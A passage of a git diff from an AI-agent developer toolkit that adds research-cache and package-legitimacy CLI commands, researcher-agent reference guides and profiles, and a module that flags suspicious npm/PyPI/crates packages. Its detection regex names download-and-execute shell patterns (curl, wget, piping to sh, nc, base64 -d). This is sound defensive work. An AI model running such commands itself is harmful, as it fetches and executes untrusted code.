validate, verify, verify-path-exists, verify-summary, workstream, worktree\n\n' + 'Global flags:\n' + ' --raw Emit raw output without post-processing\n' + @@ -423,6 +423,7 @@ async function main() { 'generate-slug', 'current-timestamp', 'verify-path-exists', 'verify-summary', 'template', 'frontmatter', 'detect-custom-files', 'worktree', 'prompt-budget', + 'research-store', 'research-plan', 'package-legitimacy', 'classify-confidence', ]); if (!SKIP_ROOT_RESOLUTION.has(command)) { cwd = findProjectRoot(cwd); @@ -1663,6 +1664,183 @@ async function runCommand(command, args, cwd, raw, defaultValue, originalCommand break; } + // ─── Research Store ──────────────────────────────────────────────────── + // + // research-store get [--kind ] + // -> getResearch(cwd, key, { homeDir }); searches both tiers; core.output(result, raw) + // (--kind is accepted for backward compatibility but no longer drives tier selection) + // research-store put --content --source --provider

+ // --confidence --kind + // -> putResearch(cwd, key, { content, source, provider, confidence, kind }) + // + // Tier is derived from source: 'curated' source writes to process.env.HOME/.gsd/research-cache; + // all other sources write to cwd/.planning/research/.cache. + // Tests may override the home directory by setting the HOME env var. + + case 'research-store': { + const researchStore = require('./lib/research-store.cjs'); + const subcommand = args[1]; + const homeDir = process.env.HOME || require('os').homedir(); + if (subcommand === 'get') { + const key = args[2]; + if (!key || key.startsWith('--')) { + error('Usage: gsd-tools research-store get [--kind ]', ERROR_REASON.USAGE); + } + if (!researchStore.isValidResearchKey(key)) { + error('research-store: must be a 64-char sha256 hex (use research-plan to obtain keys)', ERROR_REASON.USAGE); + } + // --kind is accepted but no longer drives tier selection; getResearch searches both tiers + const result = researchStore.getResearch(cwd, key, { homeDir }); + core.output(result, raw); + } else if (subcommand === 'put') { + const key = args[2]; + if (!key || key.startsWith('--')) { + error('Usage: gsd-tools research-store put --content --source --provider

--confidence --kind ', ERROR_REASON.USAGE); + } + if (!researchStore.isValidResearchKey(key)) { + error('research-store: must be a 64-char sha256 hex (use research-plan to obtain keys)', ERROR_REASON.USAGE); + } + const contentIdx = args.indexOf('--content'); + const sourceIdx = args.indexOf('--source'); + const providerIdx = args.indexOf('--provider'); + const confidenceIdx = args.indexOf('--confidence'); + const kindIdx = args.indexOf('--kind'); + // For each flag, if the following value is missing or itself starts with '--', reject. + function getFlagValue(idx, flagName) { + if (idx === -1) return null; + const val = args[idx + 1]; + if (val === undefined || val.startsWith('--')) { + error(`research-store put: missing value for ${flagName}`, ERROR_REASON.USAGE); + } + return val; + } + const content = getFlagValue(contentIdx, '--content'); + const source = getFlagValue(sourceIdx, '--source'); + const provider = getFlagValue(providerIdx, '--provider'); + const confidence = getFlagValue(confidenceIdx, '--confidence'); + const kind = getFlagValue(kindIdx, '--kind'); + if (!content || !source || !provider || !confidence || !kind) { + error('Usage: gsd-tools research-store put --content --source --provider

--confidence --kind ', ERROR_REASON.USAGE); + } + const entry = researchStore.putResearch(cwd, key, { content, source, provider, confidence, kind }, { homeDir }); + core.output(entry, raw); + } else { + error('Unknown research-store subcommand. Available: get, put', ERROR_REASON.SDK_UNKNOWN_COMMAND); + } + break; + } + + // ─── Research Plan ───────────────────────────────────────────────────── + // + // research-plan --input + // Read+JSON.parse file; call planResearch({ questions, ecosystem, config, cwd }) + // { ecosystem, config, questions: [{ text, kind, library?, version? }] } + + case 'research-plan': { + const researchProvider = require('./lib/research-provider.cjs'); + const inputIdx = args.indexOf('--input'); + const inputPath = inputIdx !== -1 ? args[inputIdx + 1] : null; + if (!inputPath || inputPath.startsWith('--')) { + error('Usage: gsd-tools research-plan --input ', ERROR_REASON.USAGE); + } + let planInput; + try { + const raw_ = fs.readFileSync(path.resolve(inputPath), 'utf8'); + planInput = JSON.parse(raw_); + } catch (readErr) { + error(`research-plan: cannot read/parse --input file: ${inputPath}`, ERROR_REASON.USAGE); + } + if (planInput === null || typeof planInput !== 'object' || Array.isArray(planInput)) { + error('research-plan: --input must be an object with a questions array', ERROR_REASON.USAGE); + } + if (!Array.isArray(planInput.questions)) { + error('research-plan: --input must be an object with a questions array', ERROR_REASON.USAGE); + } + const { ecosystem = '', config: planConfig = {}, questions } = planInput; + const homeDir = process.env.HOME || require('os').homedir(); + const plan = researchProvider.planResearch({ questions, ecosystem, config: planConfig, cwd, homeDir }); + core.output(plan, raw); + break; + } + + // ─── Classify Confidence ────────────────────────────────────────────── + // + // classify-confidence --provider [--package --ecosystem ] [--verified] + // -> classifyConfidence({ provider, verifiedAgainstOfficial, legitimacyVerdict }); core.output(result, raw) + // + // legitimacyVerdict is CODE-COMPUTED via checkPackages — never caller-supplied — so an agent cannot self-assert OK→HIGH. + + case 'classify-confidence': { + const researchProvider = require('./lib/research-provider.cjs'); + const providerIdx = args.indexOf('--provider'); + const provider = providerIdx !== -1 ? args[providerIdx + 1] : null; + if (!provider || provider.startsWith('--')) { + error('Usage: gsd-tools query classify-confidence --provider [--package --ecosystem ] [--verified]', ERROR_REASON.USAGE); + } + const verified = args.includes('--verified'); + const pkgIdx = args.indexOf('--package'); + const pkg = pkgIdx !== -1 ? args[pkgIdx + 1] : null; + const ecoIdx = args.indexOf('--ecosystem'); + const ecosystem = ecoIdx !== -1 ? args[ecoIdx + 1] : null; + let legitimacyVerdict = null; + if (pkg && (!pkg.startsWith('--'))) { + const VALID_ECOSYSTEMS = new Set(['npm', 'pypi', 'crates']); + if (!ecosystem || ecosystem.startsWith('--') || !VALID_ECOSYSTEMS.has(ecosystem)) { + error('Usage: gsd-tools query classify-confidence --provider [--package --ecosystem ] [--verified]', ERROR_REASON.USAGE); + } + const pkgLegitimacy = require('./lib/package-legitimacy.cjs'); + const results = await pkgLegitimacy.checkPackages({ ecosystem, packages: [pkg] }, {}); + legitimacyVerdict = results[0] ? results[0].verdict : null; + } + const confidence = researchProvider.classifyConfidence({ provider, verifiedAgainstOfficial: verified, legitimacyVerdict }); + core.output({ provider, package: pkg || null, ecosystem: ecosystem || null, legitimacyVerdict, verified, confidence }, raw); + break; + } + + // ─── Package Legitimacy ──────────────────────────────────────────────── + // + // package-legitimacy check --ecosystem ... + // + // checkPackages is ASYNC. This entire runCommand function is async, so + // we can await directly. On rejection we call error() which exits. + + case 'package-legitimacy': { + const pkgLegitimacy = require('./lib/package-legitimacy.cjs'); + const subcommand = args[1]; + if (subcommand !== 'check') { + error('Unknown package-legitimacy subcommand. Available: check', ERROR_REASON.SDK_UNKNOWN_COMMAND); + } + const ecoIdx = args.indexOf('--ecosystem'); + const ecosystem = ecoIdx !== -1 ? args[ecoIdx + 1] : null; + const VALID_ECOSYSTEMS = new Set(['npm', 'pypi', 'crates']); + if (!ecosystem || !VALID_ECOSYSTEMS.has(ecosystem)) { + error('Usage: gsd-tools package-legitimacy check --ecosystem ...', ERROR_REASON.USAGE); + } + // Collect positional package names. + // Only --ecosystem takes a value. Every non-flag arg is a package name. + // Any unknown --flag is a usage error (do not silently skip+consume the next arg). + const packages = []; + for (let i = 2; i < args.length; i++) { + const a = args[i]; + if (a === '--ecosystem') { i++; continue; } + if (a.startsWith('--')) { + error(`package-legitimacy: unknown flag ${a}`, ERROR_REASON.USAGE); + } + packages.push(a); + } + if (packages.length === 0) { + error('Usage: gsd-tools package-legitimacy check --ecosystem ...', ERROR_REASON.USAGE); + } + let pkgResults; + try { + pkgResults = await pkgLegitimacy.checkPackages({ ecosystem, packages }, {}); + } catch (pkgErr) { + error(`package-legitimacy: ${pkgErr && pkgErr.message ? pkgErr.message : String(pkgErr)}`, ERROR_REASON.UNKNOWN); + } + core.output(pkgResults, raw); + break; + } + case 'effort': { const subcommand = args[1]; if (subcommand === 'sync') { diff --git a/gsd-core/references/research-documentation-lookup.md b/gsd-core/references/research-documentation-lookup.md new file mode 100644 index 000000000..ecc1d1545 --- /dev/null +++ b/gsd-core/references/research-documentation-lookup.md @@ -0,0 +1,29 @@ +When you need library or framework documentation, check in this order: + +1. If Context7 MCP tools (`mcp__context7__*`) are available in your environment, use them: + - Resolve library ID: `mcp__context7__resolve-library-id` with `libraryName` + - Fetch docs: `mcp__context7__get-library-docs` with `context7CompatibleLibraryId` and `topic` + +2. If Context7 MCP is not available (upstream bug anthropics/claude-code#13898 strips MCP + tools from agents with a `tools:` frontmatter restriction), use the CLI fallback via Bash: + + Step 1 — Resolve library ID: + ```bash + if command -v ctx7 &>/dev/null; then + ctx7 library "" + else + echo "ctx7 not found — install with: npm install -g ctx7 (verify at npmjs.com/package/ctx7 first)" + fi + ``` + Step 2 — Fetch documentation: + ```bash + if command -v ctx7 &>/dev/null; then + ctx7 docs "" + else + echo "ctx7 not found — install with: npm install -g ctx7 (verify at npmjs.com/package/ctx7 first)" + fi + ``` + +Do not skip documentation lookups because MCP tools are unavailable — the CLI fallback +works via Bash and produces equivalent output. Do NOT use `npx --yes` to auto-download +ctx7 — this silently executes unverified packages from the registry. diff --git a/gsd-core/references/research-philosophy.md b/gsd-core/references/research-philosophy.md new file mode 100644 index 000000000..a61679fe3 --- /dev/null +++ b/gsd-core/references/research-philosophy.md @@ -0,0 +1,29 @@ +## Claude's Training as Hypothesis + +Training data is 6-18 months stale. Treat pre-existing knowledge as hypothesis, not fact. + +**The trap:** Claude "knows" things confidently, but knowledge may be outdated, incomplete, or wrong. + +**The discipline:** +1. **Verify before asserting** — don't state library capabilities without checking Context7 or official docs +2. **Date your knowledge** — "As of my training" is a warning flag +3. **Prefer current sources** — Context7 and official docs trump training data +4. **Flag uncertainty** — LOW confidence when only training data supports a claim + +## Honest Reporting + +Research value comes from accuracy, not completeness theater. + +**Report honestly:** +- "I couldn't find X" is valuable (now we know to investigate differently) +- "This is LOW confidence" is valuable (flags for validation) +- "Sources contradict" is valuable (surfaces real ambiguity) + +**Avoid:** Padding findings, stating unverified claims as facts, hiding uncertainty behind confident language. + +## Research is Investigation, Not Confirmation + +**Bad research:** Start with hypothesis, find evidence to support it +**Good research:** Gather evidence, form conclusions from evidence + +When researching "best library for X": find what the ecosystem actually uses, document tradeoffs honestly, let evidence drive recommendation. diff --git a/gsd-core/references/research-verification-protocol.md b/gsd-core/references/research-verification-protocol.md new file mode 100644 index 000000000..6f978ea19 --- /dev/null +++ b/gsd-core/references/research-verification-protocol.md @@ -0,0 +1,27 @@ +## Known Pitfalls + +### Configuration Scope Blindness +**Trap:** Assuming global configuration means no project-scoping exists +**Prevention:** Verify ALL configuration scopes (global, project, local, workspace) + +### Deprecated Features +**Trap:** Finding old documentation and concluding feature doesn't exist +**Prevention:** Check current official docs, review changelog, verify version numbers and dates + +### Negative Claims Without Evidence +**Trap:** Making definitive "X is not possible" statements without official verification +**Prevention:** For any negative claim — is it verified by official docs? Have you checked recent updates? Are you confusing "didn't find it" with "doesn't exist"? + +### Single Source Reliance +**Trap:** Relying on a single source for critical claims +**Prevention:** Require multiple sources: official docs (primary), release notes (currency), additional source (verification) + +## Pre-Submission Checklist + +- [ ] All research domains in this agent's scope investigated (e.g. stack, features, architecture, patterns, pitfalls — whichever apply) +- [ ] Negative claims verified with official docs +- [ ] Multiple sources cross-referenced for critical claims +- [ ] URLs provided for authoritative sources +- [ ] Publication dates checked (prefer recent/current) +- [ ] Confidence levels assigned honestly +- [ ] "What might I have missed?" review completed diff --git a/scripts/gen-research-agents.cjs b/scripts/gen-research-agents.cjs new file mode 100644 index 000000000..9512668b8 --- /dev/null +++ b/scripts/gen-research-agents.cjs @@ -0,0 +1,274 @@ +#!/usr/bin/env node +'use strict'; + +/** + * gen-research-agents.cjs — profile-driven drift guard for the 7 researcher agents. + * + * Usage: + * node scripts/gen-research-agents.cjs # same as --check + * node scripts/gen-research-agents.cjs --check # assert every agent matches its profile + * node scripts/gen-research-agents.cjs --write # regenerate frontmatter from profiles + * + * --check assertions per agent: + * (a) frontmatter name/description/color/tools exactly match the profile + * (b) every requiredInclude string is present in the body + * (c) every requiredSeamCall string is present in the body + * (d) every outputContract marker string is present in the body + * + * --write regenerates ONLY the opening `---\n...\n---` frontmatter block from the + * profile, leaving the body byte-identical. After --write, --check must pass and + * `git diff` must be empty (profiles were derived from current state). + */ + +const fs = require('node:fs'); +const path = require('node:path'); + +const { PROFILES } = require('./research-profiles.cjs'); + +const ROOT = path.resolve(__dirname, '..'); +const AGENTS_DIR = path.join(ROOT, 'agents'); + +// ─── Frontmatter serialization ──────────────────────────────────────────────── + +/** + * Build the frontmatter block for a profile. + * + * The agent files have two patterns for commented hooks: + * - Agents with Write in tools (file-writers): include the commented hooks block + * - The advisor-researcher (Read-only tools, no Write): no commented hooks + * + * We read the CURRENT commented-hooks block from the agent file and preserve it + * byte-for-byte; only name/description/tools/color are regenerated. + */ +function buildFrontmatter(profile, existingFrontmatter) { + // Extract the commented hooks section from the existing frontmatter, if any. + // The hooks block starts at `# hooks:` and runs to (but not including) the + // closing `---`. In the committed files there is NO blank line between + // `color:` and `# hooks:`, so we append it directly after the color line's `\n`. + const hooksMatch = existingFrontmatter.match(/(# hooks:[\s\S]*?)(?=\n---)/); + // hooksSuffix: if present, the block followed by a newline so `---` is on its own line; + // if absent, empty string (the closing `---` follows directly after color's `\n`). + const hooksSuffix = hooksMatch ? hooksMatch[1] + '\n' : ''; + + return ( + '---\n' + + 'name: ' + profile.name + '\n' + + 'description: ' + profile.description + '\n' + + 'tools: ' + profile.tools + '\n' + + 'color: ' + profile.color + '\n' + + hooksSuffix + + '---' + ); +} + +// ─── Parse agent file ───────────────────────────────────────────────────────── + +/** + * Parse a .md file and return { frontmatterRaw, body, frontmatterFields }. + * + * frontmatterRaw: the raw text between the first and second `---` delimiters (exclusive) + * body: everything after the closing `---\n` + * frontmatterFields: { name, description, color, tools } + */ +function parseAgentFile(filePath) { + const raw = fs.readFileSync(filePath, 'utf8'); + + // The frontmatter is between the first `---` line and the next `---` line. + const lines = raw.split('\n'); + let start = -1; + let end = -1; + for (let i = 0; i < lines.length; i++) { + if (lines[i].trim() === '---') { + if (start === -1) { + start = i; + } else { + end = i; + break; + } + } + } + + if (start === -1 || end === -1) { + throw new Error('No valid frontmatter delimiters found in ' + filePath); + } + + const frontmatterLines = lines.slice(start + 1, end); + const frontmatterRaw = frontmatterLines.join('\n'); + // body includes the closing `---` line and everything after + const fullFrontmatter = lines.slice(start, end + 1).join('\n'); + const body = lines.slice(end + 1).join('\n'); + + const fields = {}; + // Parse simple key: value pairs (not nested YAML, no multi-line values here) + for (const line of frontmatterLines) { + // Skip comment lines + if (line.trimStart().startsWith('#')) continue; + const m = line.match(/^(\w+):\s*(.*)/); + if (m) { + fields[m[1]] = m[2].trim(); + } + } + + return { raw, frontmatterRaw, fullFrontmatter, body, fields }; +} + +// ─── Check ──────────────────────────────────────────────────────────────────── + +/** + * Check one profile against its agent file. + * Returns an array of failure strings (empty = pass). + */ +function checkAgent(profile) { + // Validate required array fields — return a clear failure rather than throwing TypeError. + for (const field of ['requiredIncludes', 'requiredSeamCalls', 'outputContract']) { + if (!Array.isArray(profile[field])) { + return ['profile ' + profile.name + ': missing required array field ' + field]; + } + } + + const agentPath = path.join(AGENTS_DIR, profile.name + '.md'); + const failures = []; + + if (!fs.existsSync(agentPath)) { + return ['agent file not found: ' + agentPath]; + } + + const { fields, body } = parseAgentFile(agentPath); + const fullContent = fs.readFileSync(agentPath, 'utf8'); + + // (a) frontmatter fields + if (fields.name !== profile.name) { + failures.push( + 'name mismatch: got "' + fields.name + '", want "' + profile.name + '"', + ); + } + if (fields.description !== profile.description) { + failures.push( + 'description mismatch:\n got: "' + fields.description + '"\n want: "' + profile.description + '"', + ); + } + if (fields.color !== profile.color) { + failures.push( + 'color mismatch: got "' + fields.color + '", want "' + profile.color + '"', + ); + } + if (fields.tools !== profile.tools) { + failures.push( + 'tools mismatch:\n got: "' + fields.tools + '"\n want: "' + profile.tools + '"', + ); + } + + // (b) requiredIncludes + for (const include of profile.requiredIncludes) { + if (!fullContent.includes(include)) { + failures.push('missing required include: ' + include); + } + } + + // (c) requiredSeamCalls + for (const seam of profile.requiredSeamCalls) { + if (!fullContent.includes(seam)) { + failures.push('missing required seam call: ' + seam); + } + } + + // (d) outputContract + for (const marker of profile.outputContract) { + if (!fullContent.includes(marker)) { + failures.push('missing output contract marker: ' + marker); + } + } + + return failures; +} + +/** + * Run --check for all profiles. Prints pass/fail per agent. + * Returns true if all pass, false otherwise. + */ +function runCheck() { + let allPassed = true; + + for (const profile of PROFILES) { + const failures = checkAgent(profile); + if (failures.length === 0) { + process.stdout.write(' PASS ' + profile.name + '\n'); + } else { + process.stdout.write(' FAIL ' + profile.name + '\n'); + for (const f of failures) { + process.stdout.write(' ' + f.replace(/\n/g, '\n ') + '\n'); + } + allPassed = false; + } + } + + return allPassed; +} + +// ─── Write ──────────────────────────────────────────────────────────────────── + +/** + * Regenerate the frontmatter block of one agent file from its profile. + * The body (everything after the closing ---) is preserved byte-for-byte. + */ +function writeAgent(profile) { + const agentPath = path.join(AGENTS_DIR, profile.name + '.md'); + const { fullFrontmatter, body } = parseAgentFile(agentPath); + + const newFrontmatter = buildFrontmatter(profile, fullFrontmatter); + const newContent = newFrontmatter + '\n' + body; + + fs.writeFileSync(agentPath, newContent, 'utf8'); +} + +function runWrite() { + for (const profile of PROFILES) { + const agentPath = path.join(AGENTS_DIR, profile.name + '.md'); + if (!fs.existsSync(agentPath)) { + process.stderr.write('ERROR: agent file not found: ' + agentPath + '\n'); + process.exit(1); + } + writeAgent(profile); + process.stdout.write(' wrote ' + profile.name + '.md\n'); + } + process.stdout.write('\nRun --check to verify:\n'); + process.stdout.write(' node scripts/gen-research-agents.cjs --check\n'); +} + +// ─── Exports (for tests) ────────────────────────────────────────────────────── + +module.exports = { PROFILES, checkAgent, runCheck, parseAgentFile }; + +// ─── CLI entry point ────────────────────────────────────────────────────────── + +if (require.main === module) { + const flag = process.argv[2] || '--check'; + + if (flag === '--write') { + process.stdout.write('Writing frontmatter from profiles...\n'); + runWrite(); + process.stdout.write('\nVerifying...\n'); + const ok = runCheck(); + if (!ok) { + process.stderr.write('\nERROR: --check failed after --write. Fix serialization.\n'); + process.exit(1); + } + process.stdout.write('\nAll agents match their profiles.\n'); + } else if (flag === '--check') { + process.stdout.write('Checking research agent profiles...\n'); + const ok = runCheck(); + if (!ok) { + process.stderr.write('\nSome agents do not match their profiles.\n'); + process.stdout.write( + '\nTo regenerate frontmatter from profiles:\n' + + ' node scripts/gen-research-agents.cjs --write\n', + ); + process.exit(1); + } + process.stdout.write('\nAll 7 agents match their profiles.\n'); + } else { + process.stderr.write('Unknown flag: ' + flag + '\n'); + process.stderr.write('Usage: node scripts/gen-research-agents.cjs [--check|--write]\n'); + process.exit(1); + } +} diff --git a/scripts/research-profiles.cjs b/scripts/research-profiles.cjs new file mode 100644 index 000000000..58b8ad2b4 --- /dev/null +++ b/scripts/research-profiles.cjs @@ -0,0 +1,149 @@ +#!/usr/bin/env node +'use strict'; + +/** + * research-profiles.cjs — hand-authored profile table for the 7 researcher agents. + * + * Each profile field is derived verbatim from the agent's current committed state so + * that the initial --check in gen-research-agents.cjs is green by construction. + * + * Fields: + * name — verbatim frontmatter `name:` value + * description — verbatim frontmatter `description:` value + * color — verbatim frontmatter `color:` value + * tools — verbatim frontmatter `tools:` value (single string, comma-separated) + * requiredIncludes — @~/.claude/gsd-core/references/.md strings the body MUST contain + * requiredSeamCalls — `gsd-tools query ` strings the body MUST contain + * outputContract — strings the body MUST contain (output path, return marker, etc.) + */ + +const PROFILES = [ + { + name: 'gsd-project-researcher', + description: + 'Researches domain ecosystem before roadmap creation. Produces files in .planning/research/ consumed during roadmap creation. Spawned by /gsd:new-project or /gsd:new-milestone orchestrators.', + color: 'cyan', + tools: + 'Read, Write, Bash, Grep, Glob, WebSearch, WebFetch, mcp__context7__*, mcp__firecrawl__*, mcp__exa__*, mcp__tavily__*, mcp__ref__*, mcp__jina__*', + requiredIncludes: [ + '@~/.claude/gsd-core/references/research-documentation-lookup.md', + '@~/.claude/gsd-core/references/research-philosophy.md', + '@~/.claude/gsd-core/references/research-verification-protocol.md', + ], + requiredSeamCalls: [ + 'gsd-tools query research-plan', + 'gsd-tools query research-store put', + 'gsd-tools query classify-confidence', + ], + outputContract: [ + '.planning/research/', + '## RESEARCH COMPLETE', + ], + }, + { + name: 'gsd-phase-researcher', + description: + 'Researches how to implement a phase before planning. Produces RESEARCH.md consumed by gsd-planner. Spawned by /gsd:plan-phase orchestrator.', + color: 'cyan', + tools: + 'Read, Write, Edit, Bash, Grep, Glob, WebSearch, WebFetch, mcp__context7__*, mcp__firecrawl__*, mcp__exa__*, mcp__tavily__*, mcp__ref__*, mcp__jina__*', + requiredIncludes: [ + '@~/.claude/gsd-core/references/research-documentation-lookup.md', + '@~/.claude/gsd-core/references/research-philosophy.md', + '@~/.claude/gsd-core/references/research-verification-protocol.md', + ], + requiredSeamCalls: [ + 'gsd-tools query research-plan', + 'gsd-tools query research-store put', + 'gsd-tools query classify-confidence', + 'gsd-tools query package-legitimacy check', + ], + outputContract: [ + '.planning/phases/XX-name/{phase_num}-RESEARCH.md', + '## RESEARCH COMPLETE', + ], + }, + { + name: 'gsd-advisor-researcher', + description: + 'Researches a single gray area decision and returns a structured comparison table with rationale. Spawned by discuss-phase advisor mode.', + color: 'cyan', + tools: 'Read, Bash, Grep, Glob, WebSearch, WebFetch, mcp__context7__*', + requiredIncludes: [ + '@~/.claude/gsd-core/references/research-documentation-lookup.md', + ], + requiredSeamCalls: [], + outputContract: [ + '| Option | Pros | Cons | Complexity | Recommendation |', + '**Rationale:**', + ], + }, + { + name: 'gsd-ai-researcher', + description: + 'Researches a chosen AI framework\'s official docs to produce implementation-ready guidance — best practices, syntax, core patterns, and pitfalls distilled for the specific use case. Writes the Framework Quick Reference and Implementation Guidance sections of AI-SPEC.md. Spawned by /gsd:ai-integration-phase orchestrator.', + color: '"#34D399"', + tools: + 'Read, Write, Edit, Bash, Grep, Glob, WebFetch, WebSearch, mcp__context7__*', + requiredIncludes: [ + '@~/.claude/gsd-core/references/research-documentation-lookup.md', + ], + requiredSeamCalls: [], + outputContract: [ + 'AI-SPEC.md', + 'Section 3', + 'Section 4', + ], + }, + { + name: 'gsd-domain-researcher', + description: + 'Researches the business domain and real-world application context of the AI system being built. Surfaces domain expert evaluation criteria, industry-specific failure modes, regulatory context, and what "good" looks like for practitioners in this field — before the eval-planner turns it into measurable rubrics. Spawned by /gsd:ai-integration-phase orchestrator.', + color: '"#A78BFA"', + tools: + 'Read, Write, Edit, Bash, Grep, Glob, WebSearch, WebFetch, mcp__context7__*', + requiredIncludes: [ + '@~/.claude/gsd-core/references/research-documentation-lookup.md', + ], + requiredSeamCalls: [], + outputContract: [ + 'AI-SPEC.md', + 'Section 1b', + ], + }, + { + name: 'gsd-ui-researcher', + description: + 'Produces UI-SPEC.md design contract for frontend phases. Reads upstream artifacts, detects design system state, asks only unanswered questions. Spawned by /gsd:ui-phase orchestrator.', + color: '"#E879F9"', + tools: + 'Read, Write, Edit, Bash, Grep, Glob, WebSearch, WebFetch, mcp__context7__*, mcp__firecrawl__*, mcp__exa__*, mcp__tavily__*, mcp__ref__*, mcp__jina__*', + requiredIncludes: [ + '@~/.claude/gsd-core/references/research-documentation-lookup.md', + ], + requiredSeamCalls: [ + 'gsd-tools query commit', + ], + outputContract: [ + 'UI-SPEC.md', + '## UI-SPEC COMPLETE', + ], + }, + { + name: 'gsd-research-synthesizer', + description: + 'Synthesizes research outputs from parallel researcher agents into SUMMARY.md. Spawned by /gsd:new-project after 4 researcher agents complete.', + color: 'purple', + tools: 'Read, Write, Bash', + requiredIncludes: [], + requiredSeamCalls: [ + 'gsd-tools query commit', + ], + outputContract: [ + '.planning/research/SUMMARY.md', + '## SYNTHESIS COMPLETE', + ], + }, +]; + +module.exports = { PROFILES }; diff --git a/src/config.cts b/src/config.cts index 6c6b6635b..f3bbf04af 100644 --- a/src/config.cts +++ b/src/config.cts @@ -176,6 +176,14 @@ function buildNewProjectConfig(userChoices: Record): Record): Record; +} + +interface SlopcheckAdapter { + check(ecosystem: Ecosystem, name: string): Promise; +} + +interface ClassifyOptions { + thresholds?: Thresholds; + clock?: { now(): number }; +} + +interface CheckPackagesInput { + ecosystem: Ecosystem; + packages: string[]; + version?: string; +} + +interface CheckPackagesOptions { + registry?: RegistryClient; + clock?: { now(): number }; + thresholds?: Thresholds; + slopcheck?: SlopcheckAdapter | null; +} + +/** Shape returned by the injectable HTTP transport */ +interface HttpResponse { + statusCode: number; + body: string; +} + +type HttpGetFn = (url: string, timeoutMs: number) => Promise; + +// --------------------------------------------------------------------------- +// Constants +// --------------------------------------------------------------------------- + +const DEFAULT_THRESHOLDS: Thresholds = { + minAgeDays: 30, + minWeeklyDownloads: 1000, + requireRepo: true, +}; + +// Matches common dangerous postinstall execution patterns. +// Deliberately EXCLUDES bare https?:// (over-fires on legit packages like +// esbuild/sharp/node-gyp that reference download URLs without executing them). +// Shell-execution / download-and-exec signatures only: +const SUSPICIOUS_POSTINSTALL_RE = + /(curl |wget |\|\s*(ba)?sh|bash -c|sh -c|node -e|eval|base64 -d|\/etc\/|\.\.\/|~\/|nc |>\s*\/)/i; + +// --------------------------------------------------------------------------- +// Severity ordering for verdict merging (SLOP > SUS > OK) +// --------------------------------------------------------------------------- + +const SEVERITY: Record = { OK: 0, SUS: 1, SLOP: 2 }; + +function moreSevereVerdict(a: Verdict, b: Verdict): Verdict { + return SEVERITY[a] >= SEVERITY[b] ? a : b; +} + +// --------------------------------------------------------------------------- +// classifyPackage — pure, no IO +// --------------------------------------------------------------------------- + +function classifyPackage( + signals: Partial, + { thresholds = DEFAULT_THRESHOLDS, clock = Date }: ClassifyOptions = {} +): ClassifyResult { + const reasons: string[] = []; + + // Terminal: package does not exist + if (signals.exists === false) { + return { verdict: 'SLOP', reasons: ['does-not-exist'] }; + } + + // Age check + if (signals.publishedAt == null) { + reasons.push('unknown-age'); + } else { + const parsed = Date.parse(String(signals.publishedAt)); + if (!Number.isFinite(parsed)) { + // Unparseable date — treat as unknown + reasons.push('unknown-age'); + } else { + const ageDays = Math.floor((clock.now() - parsed) / 86_400_000); + if (ageDays < thresholds.minAgeDays) { + reasons.push('too-new'); + } + } + } + + // Downloads check + const downloads = signals.weeklyDownloads; + if (downloads == null) { + reasons.push('unknown-downloads'); + } else if (typeof downloads !== 'number' || !Number.isFinite(downloads)) { + // Odd type / NaN — treat as unknown + reasons.push('unknown-downloads'); + } else if (downloads < thresholds.minWeeklyDownloads) { + reasons.push('low-downloads'); + } + + // Repository check + if (thresholds.requireRepo && !signals.repoUrl) { + reasons.push('no-repository'); + } + + // Deprecated check + if (signals.deprecated === true) { + reasons.push('deprecated'); + } + + // Suspicious postinstall (npm only — but apply whenever postinstall is present) + if (signals.postinstall != null && typeof signals.postinstall === 'string') { + if (SUSPICIOUS_POSTINSTALL_RE.test(signals.postinstall)) { + reasons.push('suspicious-postinstall'); + } + } + + // Terminal: suspicious postinstall is a slopsquatting execution risk + if (reasons.includes('suspicious-postinstall')) { + return { verdict: 'SLOP', reasons }; + } + + const verdict: Verdict = reasons.length > 0 ? 'SUS' : 'OK'; + return { verdict, reasons }; +} + +// --------------------------------------------------------------------------- +// Injectable HTTP transport (test seam — W1) +// --------------------------------------------------------------------------- + +/** The real HTTPS transport — resolves { statusCode, body } */ +function realHttpsGet(url: string, timeoutMs: number): Promise { + return new Promise((resolve, reject) => { + const req = https.get( + url, + { headers: { 'User-Agent': 'gsd-core-package-legitimacy/1.0' } }, + (res) => { + const chunks: Buffer[] = []; + res.on('data', (c: Buffer) => chunks.push(c)); + res.on('end', () => + resolve({ + statusCode: res.statusCode ?? 0, + body: Buffer.concat(chunks).toString('utf8'), + }) + ); + res.on('error', reject); + } + ); + req.setTimeout(timeoutMs, () => { + req.destroy(new Error(`timeout after ${timeoutMs}ms`)); + }); + req.on('error', reject); + }); +} + +/** Module-level transport pointer — overrideable via _setHttpGet for tests */ +let httpsGet: HttpGetFn = realHttpsGet; + +/** + * Test seam: replace the HTTP transport. Pass null to restore the real transport. + * Tests call this before exercising a real-adapter code path; always restore in finally. + */ +function _setHttpGet(fn: HttpGetFn | null): void { + httpsGet = fn ?? realHttpsGet; +} + +// --------------------------------------------------------------------------- +// Real registry adapters (not exercised by tests — tests inject fakes) +// --------------------------------------------------------------------------- + +function degradedSignals(): PackageSignals { + return { + exists: null, + publishedAt: null, + weeklyDownloads: null, + repoUrl: null, + deprecated: false, + postinstall: null, + }; +} + +async function lookupNpm(name: string, version?: string): Promise { + try { + const resp = await httpsGet(`https://registry.npmjs.org/${encodeURIComponent(name)}`, 5000); + if (resp.statusCode === 404) return { ...degradedSignals(), exists: false }; + if (resp.statusCode < 200 || resp.statusCode >= 300) return degradedSignals(); + + const data = JSON.parse(resp.body) as Record; + if (data.error) return { ...degradedSignals(), exists: false }; + + const time = (data.time as Record | undefined) ?? {}; + const allVersions = (data.versions as Record | undefined) ?? {}; + + // I3: when a specific version is requested, verify it exists + if (version !== undefined) { + if (!(version in allVersions)) { + return { ...degradedSignals(), exists: false }; + } + } + + const latestVersion = (data['dist-tags'] as Record | undefined)?.latest ?? ''; + const resolvedVersion = version !== undefined ? version : latestVersion; + const versionMeta = allVersions[resolvedVersion] ?? {}; + + const scripts = + ((versionMeta as Record).scripts as Record | undefined) ?? + {}; + const postinstall = scripts.postinstall ?? null; + + const repoField = (versionMeta as Record).repository; + let repoUrl: string | null = null; + if (typeof repoField === 'string') repoUrl = repoField; + else if (repoField && typeof (repoField as Record).url === 'string') { + repoUrl = (repoField as Record).url; + } + + const deprecated = + typeof (versionMeta as Record).deprecated === 'string' ? true : false; + + // Fetch weekly download count from the npm downloads API + let weeklyDownloads: number | null = null; + try { + const dlResp = await httpsGet( + `https://api.npmjs.org/downloads/point/last-week/${encodeURIComponent(name)}`, + 5000 + ); + if (dlResp.statusCode >= 200 && dlResp.statusCode < 300) { + const dlData = 